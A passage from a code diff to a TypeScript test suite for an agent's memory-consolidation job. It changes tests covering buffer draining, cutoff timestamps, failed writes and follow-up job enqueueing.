- expect(result.kind).toBe("invoked");
1162
- if (result.kind !== "invoked") {
1163
- throw new Error("unreachable");
1164
- }
1165
- expect(runnerLastArgs?.prompt as string).toContain(
1166
- "<buffer_entries>\nSome notes I typed by hand.\n- [Apr 27, 9:00 AM]",
1167
- );
1168
- expect(result.consumedEntries).toBe(3);
1169
- expect(readFileSync(bufferPath(), "utf-8")).toBe("");
1170
- });
1171
-
1172
- test("a buffer whose every entry is stamped with the cutoff minute skips the run", async () => {
1173
- // Entries stamped in the dispatch minute are the next pass's material,
1174
- // so a buffer holding only those has nothing eligible: no agent run,
1175
- // no failure bookkeeping.
1176
- if (new Date().getSeconds() >= 57) {
1177
- await Bun.sleep(3500);
1178
- }
1179
- const now = new Date();
1180
- writeFileSync(
1181
- bufferPath(),
1182
- formatRememberEntry("Just saved.", now) +
1183
- formatRememberEntry("Also just saved.", now),
1184
- );
1185
-
1186
- const result = await memoryV2ConsolidateJob(makeJob(), CONFIG);
1187
-
1188
- expect(result.kind).toBe("nothing_eligible");
1189
- if (result.kind !== "nothing_eligible") {
1190
- throw new Error("unreachable");
1191
- }
1192
- expect(result.cutoff).toBe(formatBufferTimestamp(now));
1193
- expect(runnerCalls).toBe(0);
1194
- expect(existsSync(lockPath())).toBe(false);
1195
- expect(checkpointStore.size).toBe(0);
1196
- });
1197
-
1198
- test("a consume that fails leaves the buffer intact and reports noProgress", async () => {
1199
- // The consume writes a temp file beside the buffer; a directory it
1200
- // cannot write to makes it throw. The job must not guess at the
1201
- // buffer's state: no removal, no follow-ups.
1202
- chmodSync(memoryDir(), 0o500);
1203
- try {
1204
- const result = await memoryV2ConsolidateJob(makeJob(), CONFIG);
1205
-
1206
- expect(result.kind).toBe("invoked");
1207
- if (result.kind !== "invoked") {
1208
- throw new Error("unreachable");
1209
- }
1210
- expect(result.noProgress).toBe(true);
1211
- expect(result.consumedEntries).toBe(0);
1212
- expect(enqueuedJobs).toHaveLength(0);
1213
- } finally {
1214
- chmodSync(memoryDir(), 0o700);
1215
- }
1216
- expect(readFileSync(bufferPath(), "utf-8")).toBe(TWO_ENTRIES);
904
+ expect(result.noProgress).toBe(true);
905
+ expect(result.followUpJobIds).toEqual([]);
906
+ expect(enqueuedJobs).toHaveLength(0);
1217
907
  });
1218
908
 
1219
909
  test("a run that leaves dangling links reports the count and still enqueues follow-ups", async () => {
@@ -1226,6 +916,7 @@ describe("memoryV2ConsolidateJob: runtime-owned consumption", () => {
1226
916
  join(conceptsDir, "atl-1290.md"),
1227
917
  "---\nlinks:\n - atl-1291\n---\n# ATL-1290\n",
1228
918
  );
919
+ writeFileSync(bufferPath(), "");
1229
920
  invalidatePageIndex();
1230
921
  return { conversationId: "conv-1", ok: true };
1231
922
  };
@@ -1256,6 +947,7 @@ describe("memoryV2ConsolidateJob: runtime-owned consumption", () => {
1256
947
  invalidatePageIndex();
1257
948
  runnerImpl = async () => {
1258
949
  writeFileSync(join(conceptsDir, "atl-1291.md"), "# ATL-1291\n");
950
+ writeFileSync(bufferPath(), "");
1259
951
  invalidatePageIndex();
1260
952
  return { conversationId: "conv-1", ok: true };
1261
953
  };
@@ -1286,7 +978,7 @@ describe("memoryV2ConsolidateJob: runtime-owned consumption", () => {
1286
978
  "---\nlinks:\n - atl-1291\n---\n# ATL-1290\n",
1287
979
  );
1288
980
  invalidatePageIndex();
1289
- runMessages = [];
981
+ runnerImpl = async () => ({ conversationId: "conv-1", ok: true });
1290
982
  try {
1291
983
  const result = await memoryV2ConsolidateJob(makeJob(), CONFIG);
1292
984
 
@@ -1327,8 +1019,8 @@ describe("memoryV2ConsolidateJob: runtime-owned consumption", () => {
1327
1019
  if (result.kind !== "invoked") {
1328
1020
  throw new Error("unreachable");
1329
1021
  }
1330
- // Dedup is not no-progress: the pass was consumed; the follow-ups are
1331
- // simply already covered by pending rows.
1022
+ // Dedup is not no-progress: the run drained the buffer; the follow-ups
1023
+ // are simply already covered by pending rows.
1332
1024
  expect(result.noProgress).toBe(false);
1333
1025
  expect(result.followUpJobIds).toEqual([]);
1334
1026
  expect(enqueuedJobs).toHaveLength(0);
@@ -1534,8 +1226,8 @@ describe("memoryV2ConsolidateJob — consecutive-failure state", () => {
1534
1226
 
1535
1227
  test("a completed run with no progress records a transient failure instead of clearing", async () => {
1536
1228
  seedFailureState(2, Date.now() - 60_000, "billing");
1537
- // Completes ok but wrote no page: the stuck-agent shape.
1538
- runMessages = [];
1229
+ // Completes ok but never touches buffer.md the stuck-agent shape.
1230
+ runnerImpl = async () => ({ conversationId: "conv-1", ok: true });
1539
1231
 
1540
1232
  const result = await memoryV2ConsolidateJob(makeJob(), CONFIG);
1541
1233